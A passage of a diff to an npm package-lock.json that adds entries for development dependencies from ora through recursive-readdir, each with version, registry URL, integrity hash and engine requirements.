"sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==", + "dev": true, + "dependencies": { + "bl": "^4.1.0", + "chalk": "^4.1.0", + "cli-cursor": "^3.1.0", + "cli-spinners": "^2.5.0", + "is-interactive": "^1.0.0", + "is-unicode-supported": "^0.1.0", + "log-symbols": "^4.1.0", + "strip-ansi": "^6.0.0", + "wcwidth": "^1.0.1" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ora/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/ora/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/ora/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/ora/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/ora/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ora/node_modules/is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ora/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/os-tmpdir": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", + "integrity": "sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/p-cancelable": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-3.0.0.tgz", + "integrity": "sha512-mlVgR3PGuzlo0MmTdk4cXqXWlwQDLnONTAg6sm62XkMJEiRxN3GL3SffkYvqwonbkJBcrI7Uvv5Zh9yjvn2iUw==", + "dev": true, + "engines": { + "node": ">=12.20" + } + }, + "node_modules/p-limit": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-4.0.0.tgz", + "integrity": "sha512-5b0R4txpzjPWVw/cXXUResoD4hb6U/x9BH08L7nw+GN1sezDzPdxeRvpc9c433fZhBan/wusjbCsqwqm4EIBIQ==", + "dev": true, + "dependencies": { + "yocto-queue": "^1.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-6.0.0.tgz", + "integrity": "sha512-wPrq66Llhl7/4AGC6I+cqxT07LhXvWL08LNXz1fENOw0Ap4sRZZ/gZpTTJ5jpurzzzfS2W/Ge9BY3LgLjCShcw==", + "dev": true, + "dependencies": { + "p-limit": "^4.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/pac-proxy-agent": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/pac-proxy-agent/-/pac-proxy-agent-7.0.1.tgz", + "integrity": "sha512-ASV8yU4LLKBAjqIPMbrgtaKIvxQri/yh2OpI+S6hVa9JRkUI3Y3NPFbfngDtY7oFtSMD3w31Xns89mDa3Feo5A==", + "dev": true, + "dependencies": { + "@tootallnate/quickjs-emscripten": "^0.23.0", + "agent-base": "^7.0.2", + "debug": "^4.3.4", + "get-uri": "^6.0.1", + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.2", + "pac-resolver": "^7.0.0", + "socks-proxy-agent": "^8.0.2" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/pac-resolver": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/pac-resolver/-/pac-resolver-7.0.0.tgz", + "integrity": "sha512-Fd9lT9vJbHYRACT8OhCbZBbxr6KRSawSovFpy8nDGshaK99S/EBhVIHp9+crhxrsZOuvLpgL1n23iyPg6Rl2hg==", + "dev": true, + "dependencies": { + "degenerator": "^5.0.0", + "ip": "^1.1.8", + "netmask": "^2.0.2" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/parse-json": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-7.1.0.tgz", + "integrity": "sha512-ihtdrgbqdONYD156Ap6qTcaGcGdkdAxodO1wLqQ/j7HP1u2sFYppINiq4jyC8F+Nm+4fVufylCV00QmkTHkSUg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.21.4", + "error-ex": "^1.3.2", + "json-parse-even-better-errors": "^3.0.0", + "lines-and-columns": "^2.0.3", + "type-fest": "^3.8.0" + }, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse-json/node_modules/type-fest": { + "version": "3.13.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-3.13.1.tgz", + "integrity": "sha512-tLq3bSNx+xSpwvAJnzrK0Ep5CLNWjvFTOp71URMaAEWBfRb9nnJiBoUe0tF8bI4ZFO3omgBR6NvnbzVUT3Ly4g==", + "dev": true, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse-ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/parse-ms/-/parse-ms-2.1.0.tgz", + "integrity": "sha512-kHt7kzLoS9VBZfUsiKjv43mr91ea+U05EyKkEtqp7vNbHxmaVuEqN7XxeEVnGrMtYOAxGrDElSi96K7EgO1zCA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/path-exists": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-5.0.0.tgz", + "integrity": "sha512-RjhtfwJOxzcFmNOi6ltcbcu4Iu+FL3zEj83dk4kAS+fVpTxXLO1b38RvJgT/0QwvV/L3aY9TAnyv0EOqW4GoMQ==", + "dev": true, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true + }, + "node_modules/path-scurry": { + "version": "1.10.1", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.10.1.tgz", + "integrity": "sha512-MkhCqzzBEpPvxxQ71Md0b1Kk51W01lrYvlMzSUaIzNsODdd7mqhiimSZlr+VegAz5Z6Vzt9Xg2ttE//XBhH3EQ==", + "dev": true, + "dependencies": { + "lru-cache": "^9.1.1 || ^10.0.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/path-type": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz", + "integrity": "sha512-S4eENJz1pkiQn9Znv33Q+deTOKmbl+jj1Fl+qiP/vYezj+S8x+J3Uo0ISrx/QoEvIlOaDWJhPaRd1flJ9HXZqg==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pathe": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-1.1.1.tgz", + "integrity": "sha512-d+RQGp0MAYTIaDBIMmOfMwz3E+LOZnxx1HZd5R18mmCZY0QBlK0LDZfPc8FW8Ed2DlvsuE6PRjroDY+wg4+j/Q==", + "dev": true + }, + "node_modules/pend": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", + "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==", + "dev": true + }, + "node_modules/picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==", + "dev": true + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pinkie": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", + "integrity": "sha512-MnUuEycAemtSaeFSjXKW/aroV7akBbY+Sv+RkyqFjgAe73F+MR0TBWKBRDkmfWq/HiFmdavfZ1G7h4SPZXaCSg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pinkie-promise": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", + "integrity": "sha512-0Gni6D4UcLTbv9c57DfxDGdr41XfgUjqWZu492f0cIGr16zDU06BWP/RAEvOuo7CQ0CNjHaLlM59YJJFm3NWlw==", + "dev": true, + "dependencies": { + "pinkie": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pkg-types": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/pkg-types/-/pkg-types-1.0.3.tgz", + "integrity": "sha512-nN7pYi0AQqJnoLPC9eHFQ8AcyaixBUOwvqc5TDnIKCMEE6I0y8P7OKA7fPexsXGCGxQDl/cmrLAp26LhcwxZ4A==", + "dev": true, + "dependencies": { + "jsonc-parser": "^3.2.0", + "mlly": "^1.2.0", + "pathe": "^1.1.0" + } + }, + "node_modules/postcss": { + "version": "8.4.29", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.29.tgz", + "integrity": "sha512-cbI+jaqIeu/VGqXEarWkRCCffhjgXc0qjBtXpqJhTBohMUjUQnbBr0xqX3vEKudc4iviTewcJo5ajcec5+wdJw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "nanoid": "^3.3.6", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss/node_modules/nanoid": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.6.tgz", + "integrity": "sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/pretty-format": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.6.3.tgz", + "integrity": "sha512-ZsBgjVhFAj5KeK+nHfF1305/By3lechHQSMWCTl8iHSbfOm2TN5nHEtFc/+W7fAyUeCs2n5iow72gld4gW0xDw==", + "dev": true, + "dependencies": { + "@jest/schemas": "^29.6.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/pretty-ms": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/pretty-ms/-/pretty-ms-7.0.1.tgz", + "integrity": "sha512-973driJZvxiGOQ5ONsFhOF/DtzPMOMtgC11kCpUrPGMTgqp2q/1gwzCquocrN33is0VZ5GFHXZYMM9l6h67v2Q==", + "dev": true, + "dependencies": { + "parse-ms": "^2.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "node_modules/progress": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/proxy-agent": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/proxy-agent/-/proxy-agent-6.3.0.tgz", + "integrity": "sha512-0LdR757eTj/JfuU7TL2YCuAZnxWXu3tkJbg4Oq3geW/qFNT/32T0sp2HnZ9O0lMR4q3vwAt0+xCA8SR0WAD0og==", + "dev": true, + "dependencies": { + "agent-base": "^7.0.2", + "debug": "^4.3.4", + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.0", + "lru-cache": "^7.14.1", + "pac-proxy-agent": "^7.0.0", + "proxy-from-env": "^1.1.0", + "socks-proxy-agent": "^8.0.1" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/proxy-agent/node_modules/lru-cache": { + "version": "7.18.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.18.3.tgz", + "integrity": "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/proxy-from-env": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", + "dev": true + }, + "node_modules/pseudomap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", + "integrity": "sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ==", + "dev": true + }, + "node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dev": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/puppeteer-core": { + "version": "20.9.0", + "resolved": "https://registry.npmjs.org/puppeteer-core/-/puppeteer-core-20.9.0.tgz", + "integrity": "sha512-H9fYZQzMTRrkboEfPmf7m3CLDN6JvbxXA3qTtS+dFt27tR+CsFHzPsT6pzp6lYL6bJbAPaR0HaPO6uSi+F94Pg==", + "dev": true, + "dependencies": { + "@puppeteer/browsers": "1.4.6", + "chromium-bidi": "0.4.16", + "cross-fetch": "4.0.0", + "debug": "4.3.4", + "devtools-protocol": "0.0.1147663", + "ws": "8.13.0" + }, + "engines": { + "node": ">=16.3.0" + }, + "peerDependencies": { + "typescript": ">= 4.7.4" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/puppeteer-core/node_modules/@puppeteer/browsers": { + "version": "1.4.6", + "resolved": "https://registry.npmjs.org/@puppeteer/browsers/-/browsers-1.4.6.tgz", + "integrity": "sha512-x4BEjr2SjOPowNeiguzjozQbsc6h437ovD/wu+JpaenxVLm3jkgzHY2xOslMTp50HoTvQreMjiexiGQw1sqZlQ==", + "dev": true, + "dependencies": { + "debug": "4.3.4", + "extract-zip": "2.0.1", + "progress": "2.0.3", + "proxy-agent": "6.3.0", + "tar-fs": "3.0.4", + "unbzip2-stream": "1.4.3", + "yargs": "17.7.1" + }, + "bin": { + "browsers": "lib/cjs/main-cli.js" + }, + "engines": { + "node": ">=16.3.0" + }, + "peerDependencies": { + "typescript": ">= 4.7.4" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/puppeteer-core/node_modules/devtools-protocol": { + "version": "0.0.1147663", + "resolved": "https://registry.npmjs.org/devtools-protocol/-/devtools-protocol-0.0.1147663.tgz", + "integrity": "sha512-hyWmRrexdhbZ1tcJUGpO95ivbRhWXz++F4Ko+n21AY5PNln2ovoJw+8ZMNDTtip+CNFQfrtLVh/w4009dXO/eQ==", + "dev": true + }, + "node_modules/puppeteer-core/node_modules/yargs": { + "version": "17.7.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.1.tgz", + "integrity": "sha512-cwiTb08Xuv5fqF4AovYacTFNxk62th7LKJ6BL9IGUpTJrWoU7/7WdQGTP2SjKf1dUNBGzDd28p/Yfs/GI6JrLw==", + "dev": true, + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/query-selector-shadow-dom": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/query-selector-shadow-dom/-/query-selector-shadow-dom-1.0.1.tgz", + "integrity": "sha512-lT5yCqEBgfoMYpf3F2xQRK7zEr1rhIIZuceDK6+xRkJQ4NMbHTwXqk4NkwDwQMNqXgG9r9fyHnzwNVs6zV5KRw==", + "dev": true + }, + "node_modules/queue-tick": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/queue-tick/-/queue-tick-1.0.1.tgz", + "integrity": "sha512-kJt5qhMxoszgU/62PLP1CJytzd2NKetjSRnyuj31fDd3Rlcz3fzlFdFLD1SItunPwyqEOkca6GbV612BWfaBag==", + "dev": true + }, + "node_modules/quick-lru": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", + "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "dev": true + }, + "node_modules/read-pkg": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-8.1.0.tgz", + "integrity": "sha512-PORM8AgzXeskHO/WEv312k9U03B8K9JSiWF/8N9sUuFjBa+9SF2u6K7VClzXwDXab51jCd8Nd36CNM+zR97ScQ==", + "dev": true, + "dependencies": { + "@types/normalize-package-data": "^2.4.1", + "normalize-package-data": "^6.0.0", + "parse-json": "^7.0.0", + "type-fest": "^4.2.0" + }, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/read-pkg-up": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-10.1.0.tgz", + "integrity": "sha512-aNtBq4jR8NawpKJQldrQcSW9y/d+KWH4v24HWkHljOZ7H0av+YTGANBzRh9A5pw7v/bLVsLVPpOhJ7gHNVy8lA==", + "dev": true, + "dependencies": { + "find-up": "^6.3.0", + "read-pkg": "^8.1.0", + "type-fest": "^4.2.0" + }, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/read-pkg-up/node_modules/type-fest": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.3.1.tgz", + "integrity": "sha512-pphNW/msgOUSkJbH58x8sqpq8uQj6b0ZKGxEsLKMUnGorRcDjrUaLS+39+/ub41JNTwrrMyJcUB8+YZs3mbwqw==", + "dev": true, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/read-pkg/node_modules/type-fest": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.3.1.tgz", + "integrity": "sha512-pphNW/msgOUSkJbH58x8sqpq8uQj6b0ZKGxEsLKMUnGorRcDjrUaLS+39+/ub41JNTwrrMyJcUB8+YZs3mbwqw==", + "dev": true, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/readdir-glob": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/readdir-glob/-/readdir-glob-1.1.3.tgz", + "integrity": "sha512-v05I2k7xN8zXvPD9N+z/uhXPaj0sUFCe2rcWZIpBsqxfP7xXFQ0tipAd/wjj1YxWyWtUS5IDJpOG82JKt2EAVA==", + "dev": true, + "dependencies": { + "minimatch": "^5.1.0" + } + }, + "node_modules/readdir-glob/node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "dev": true, + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/recast": { + "version": "0.23.4", + "resolved": "https://registry.npmjs.org/recast/-/recast-0.23.4.tgz", + "integrity": "sha512-qtEDqIZGVcSZCHniWwZWbRy79Dc6Wp3kT/UmDA2RJKBPg7+7k51aQBZirHmUGn5uvHf2rg8DkjizrN26k61ATw==", + "dev": true, + "dependencies": { + "assert": "^2.0.0", + "ast-types": "^0.16.1", + "esprima": "~4.0.0", + "source-map": "~0.6.1", + "tslib": "^2.0.1" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/recast/node_modules/ast-types": { + "version": "0.16.1", + "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.16.1.tgz", + "integrity": "sha512-6t10qk83GOG8p0vKmaCr8eiilZwO171AvbROMtvvNiwrTly62t+7XkA8RdIIVbpMhCASAsxgAzdRSwh6nw/5Dg==", + "dev": true, + "dependencies": { + "tslib": "^2.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/recursive-readdir": { + "version": "2.2.3", + "resolved": 